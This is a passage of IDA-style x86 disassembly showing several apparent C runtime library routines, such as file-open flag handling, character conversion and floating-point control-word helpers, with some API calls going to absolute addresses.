		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2680000h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	near ptr 26A0E98h
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600559h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2710000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2710000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600559h
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


